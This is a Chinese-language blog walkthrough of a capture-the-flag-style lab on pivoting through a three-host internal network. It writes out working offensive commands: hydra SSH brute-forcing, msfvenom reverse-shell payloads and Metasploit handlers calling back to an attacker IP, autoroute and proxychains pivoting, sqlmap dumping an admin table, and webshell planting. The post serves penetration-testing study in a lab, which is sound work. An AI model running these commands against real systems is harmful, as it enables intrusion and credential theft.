内网提权教程—记录一次横向操作(手把手详细思路教学)

W1nner丶 Lv2
  • 本篇文章的目的是:熟悉常见的内网代理过程以及步骤,而不是拿flag
  • 本人的CSDN博客链接:https://blog.csdn.net/m0_73812072?spm=1011.2415.3001.5343
  • (因为CSDN最近的审核加强了,把之前写的内网渗透的文章都下架了,所以这里才想着重新上架一下,不能白费了力气不是。)

免责声明

靶场演示免责声明

本靶场演示环境仅为网络安全技术学习、研究及技能实践专用,旨在提升使用者的网络安全认知与技术应用能力。

核心使用规范

  1. 使用者承诺仅在本靶场授权范围内进行操作,不得利用靶场环境及相关技术攻击、入侵、破坏任何第三方的计算机系统、网络设备或数据资源。
  2. 严禁将靶场所学技术用于违反《网络安全法》《刑法》等法律法规的非法活动,不得侵犯他人合法的网络权益与数据隐私。
  3. 所有操作均需在合法合规、获得明确授权的前提下进行,使用者独立对自身操作行为及可能产生的后果承担全部责任。

免责说明

  1. 靶场搭建方、维护方仅提供学习演示环境,不参与、不指导任何非法操作,对使用者超出授权范围的违规行为及衍生后果不承担任何法律责任。
  2. 因使用者违规使用靶场技术或环境导致的法律纠纷、经济损失、行政处罚等一切后果,均由使用者自行承担,与靶场相关方无关。
  3. 本声明自使用者访问或使用靶场环境之日起生效,如有未尽事宜,均依据国家相关法律法规执行。

本篇文章请大家以网络安全技术学习为目的观看,仅用于知识研究与技能实践,严禁将相关内容用于任何违法违规活动,所有操作需在合法授权范围内进行,使用者自行承担违规后果。


靶场简介

内网结构

本次实验靶场采用多层级内网渗透模型,典型配置包含三个递进式靶机(Target1、Target2、Target3),通过虚拟网络隔离形成企业级内网架构

  • 基础层(Target1-Centos7)
    • 部署 Web 服务(如 ThinkPHP 框架),开放 80、22 等常见端口,存在Web 漏洞。
    • 两个网卡:(用于连接内外网,充当中间服务器的作用)连接外网,作为渗透入口,需通过漏洞获取初始权限。
    • 外网网段,如 192.168.44.0/24;内网网段:192.168.22.0/24
  • 中间层(Target2-Ubuntu)
    • 位于内网(VMnet2 网段,如 192.168.22.0/24),需通过 Target1 作为跳板机横向移动。
      可能存在权限提升漏洞(如 CVE-2021-4034)或服务弱口令,需进一步渗透。
    • 外网机器(44网段的主机)无法直接访问到这台机器;
  • 核心层(Target3-Windows)
    • 处于更深层内网(VMnet3 网段,如 192.168.33.0/24),通常为 Windows 系统,开放 445 端口,可利用永恒之蓝(MS17-010)等漏洞攻击。
    • 关键位置存放 Flag 文件,作为渗透成功的验证标识。

这里我画了个图,方便大家理解内网结构:

在这里插入图片描述

代理隧道的基本原理

在这里插入图片描述

正向代理:正向代理是代理客户端,客户端通过代理服务器访问外部资源。代理服务器接收客户端的请求,代表客户端向目标服务器发出请求,目标服务器只知道代理服务器,而不知道真正的客户端。这种方式常用于访问受限网络((例如公司内网访问外网需要走代理))或保护客户端的隐私,典型的工具包括Fiddler和VPN。

在这里插入图片描述

反向代理:反向代理则是代理服务器端,处理来自客户端的请求并将其转发到后端服务器。客户端直接与反向代理通信,而不需要知道后端服务器的存在。反向代理常用于负载均衡、缓存和访问控制,常见的软件有Nginx和HAProxy。

好了话不多说,我们开始我们的攻击步骤;

攻击过程

第一步:信息收集

首先我们打开kali(攻击机),因为我们的kali可以访问Target1(相当于公网中的服务器),所以我们首先对Target1进行信息收集:

这里我们知道Target1的IP地址为192.168.44.149

在这里插入图片描述

而这里我们使用nmap进行对这个网段进行扫描,看看有哪些主机:

在这里插入图片描述

提问:这里我们既然知道了具体的IP地址,接下来应该怎么做?

肯定是扫描他开放了哪些端口以及服务啊,不然的话你怎么进行后面的渗透步骤?

在这里插入图片描述

这里我们看到开放了几个常见端口:22,80,3306端口,那么我们是不是可以认为这几个服务里存在着我们能够利用的RCE漏洞

  • 3306端口:MySQL服务
    这里我们尝试能不能进行远程连接(账号密码我们也不知道)
1
mysql -uroot -h 192.168.44.149 -p

得到结果:
在这里插入图片描述
(不允许远程连接)

  • 22端口:ssh服务
    既然如此,我们是不是可以尝试ssh存在弱口令,所以我们尝试使用hydra 模块:
1
2
hydra -vV -l root -P /Sec_list/password.txt 192.168.44.149 ftp
hydra -vV -l root -P /Sec_list/password.txt 192.168.44.149 ssh

(不出意外也是失败的)

  • 80端口:Web服务
    众所周知,Web服务一般都是我们进行渗透的主要目标;所以我们自然也是把目光放在这里;

访问192.168.44.149:80端口后,我们可以看到如下页面:

在这里插入图片描述

这里我们可以看到Web服务采用的是ThinkPHP v5服务,而这个版本是存在RCE漏洞的(接下来的步骤不用我多说你们也应该知道)

随后我们再扫描看看该网站还有哪些目录

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

这里我们可以看到几个状态码为200的目录,那么我们都一一访问看看有什么信息:

(1)访问:http://192.168.44.149/public/**.htaccess**
在这里插入图片描述

(2)访问:http://192.168.44.149/public/**index.php**
在这里插入图片描述

(3)访问:http://192.168.44.149/public/**robots.txt**
在这里插入图片描述
(拿到了一个flag,没什么用,我们此次靶场目的不在此)

本篇文章的目的是:熟悉常见的内网代理过程以及步骤,而不是拿flag。

(4)访问:http://192.168.44.149/vendor/composer/**LICENSE**
在这里插入图片描述

综上,我们只能依靠thinkPHP服务去进行接下来的渗透步骤了;

第二步:拿下目标,进行横向

  • 方法一:这里我们直接使用工具对ThinkPHP框架进行一把梭,查看它到底存在哪些漏洞:
  • 方法二:当然,你也可以去百度查看ThinkPHP框架有哪些RCE漏洞,并用bp抓包重放进行验证(这是我们工作中手工测试的常用方式

这里为了节省时间,我就使用工具了:

在这里插入图片描述

然后我们再将Webshell文件上传到目录,然后用蚁剑等工具进行连接:
在这里插入图片描述

访问网址,查看结果

在这里插入图片描述

用蚁剑等工具进行连接:
在这里插入图片描述

这里我们打开虚拟终端,输入命令,并搜集网段:
在这里插入图片描述

这里我们发现了内网的22网段,接下来我们要进行的就是查看这个网段还有哪些主机存在,看看是否能够进行渗透?
答案:我们将fscan上传到/tmp目录下,进行扫描;

在这里插入图片描述
也是成功发现了新的内网主机:192.168.22.22

接下来的问题:我们如何访问到这台22主机呢?

第三步:搭建代理,主机信息收集

这里我们就是用到MSF框架了:

(1)先建立一个MSF监听,打开窗口一

1
2
3
# 建立监听
msfconsole -q
handler -p linux/x64/meterpreter/reverse_tcp -P 4455 -H 192.168.44.131

开始监听:
在这里插入图片描述

(2)新建一个窗口二

1
2
# 生成payload
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.44.131 lport=1234 -f elf -o shell1.elf

在这里插入图片描述

然后再上传到蚁剑里执行;

在这里插入图片描述

  • 赋权:chmod 777 shell1.elf
  • 执行:./shell1.elf

可以看到MSF返回了一个会话:
在这里插入图片描述

(相当于我们可以外网的kali能够访问内网的192.168.22.11主机了)

第四步:配置proxychains,发现新主机Ubuntu

获得Target1的meterpreter shell后,添加到192.168.22.0/24网段的路由:

1
2
3
run autoroute -s 192.168.22.0/24
run autoroute -p
run

在这里插入图片描述

然后我们再建立隧道代理:
在这里插入图片描述

这里我将自己的端口改为了1080,方便我自己使用

然后我们再用命令:

1
proxychains curl 192.168.22.22

发现访问成功了:
在这里插入图片描述

这个时候我们再去浏览器上挂个代理,也是成功访问到:192.168.22.22
在这里插入图片描述
成功访问到网页:
在这里插入图片描述

第五步:渗透Ubuntu,横向Windows

这里我们知道了网站的CMS架构,那还是老样子:

去百度这个CMS的历史RCE,看看能不能getshell;

后续步骤:主机发现——Web收集——getshell——继续渗透

  • 端口信息收集:
1
proxychains nmap -sT -Pn -T4 -p- -n 192.168.22.22

发现打开了3306/22/21/8888 四个端口服务;
在这里插入图片描述

这里我们根据CMS的RCE漏洞,使用sqlmap跑一下3306端口:

1
2
3
4
5
6
7
8
9
proxychains3 sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword

proxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword --dbs

proxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword -D bag
ecms --tables

proxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword -D bag
ecms -T bage_admin --dump

在这里插入图片描述
过程省略,得到结果:
在这里插入图片描述

得到账号密码:admin/123qwe
后台登录地址:http://192.168.22.22/index.php?r=admin/public/login

接下来的步骤:登录后台——上次Webshell——用蚁剑连接代理
(是不是很熟悉)

(文件可以随便选,这里选择在site目录下的index.php插入一句话木马)
在这里插入图片描述

再开一个新的蚁剑窗口:创建代理
在这里插入图片描述
蚁剑连接成功后,此时我们扫描网段,发现了第二层的内网:ifconfig
在这里插入图片描述

第六步:正向shell

  • msfvenom生成linux木马payload:

在这里插入图片描述

  • 上传到Target2的tmp目录并执行:
    在这里插入图片描述

  • 可以发现端口正在监听:
    在这里插入图片描述

  • 再用msf创建正向监听器,建立正向连接:
    在这里插入图片描述

  • 反弹回Target2的meterpreter shell后,添加到192.168.33.0/24网段的路由:

1
2
run autoroute -s 192.168.33.0/24
run autoroute -p

在这里插入图片描述
在这里插入图片描述

最后其实就是windows7的渗透测试,这里就不做了;

总结

本次内网横向渗透总用时6个小时,期间解决了不少小问题(文章里不一一赘述),有问题可以评论区讨论,我都会一一回答;感谢大家观看,期待下次再见;

  • 标题: 内网提权教程—记录一次横向操作(手把手详细思路教学)
  • 作者: W1nner丶
  • 创建于 : 2025-11-09 09:46:42
  • 更新于 : 2026-06-04 12:30:51
  • 链接: https://tamoon1.github.io/2025/11/09/Internal-network-1/
  • 版权声明: [object Object]
评论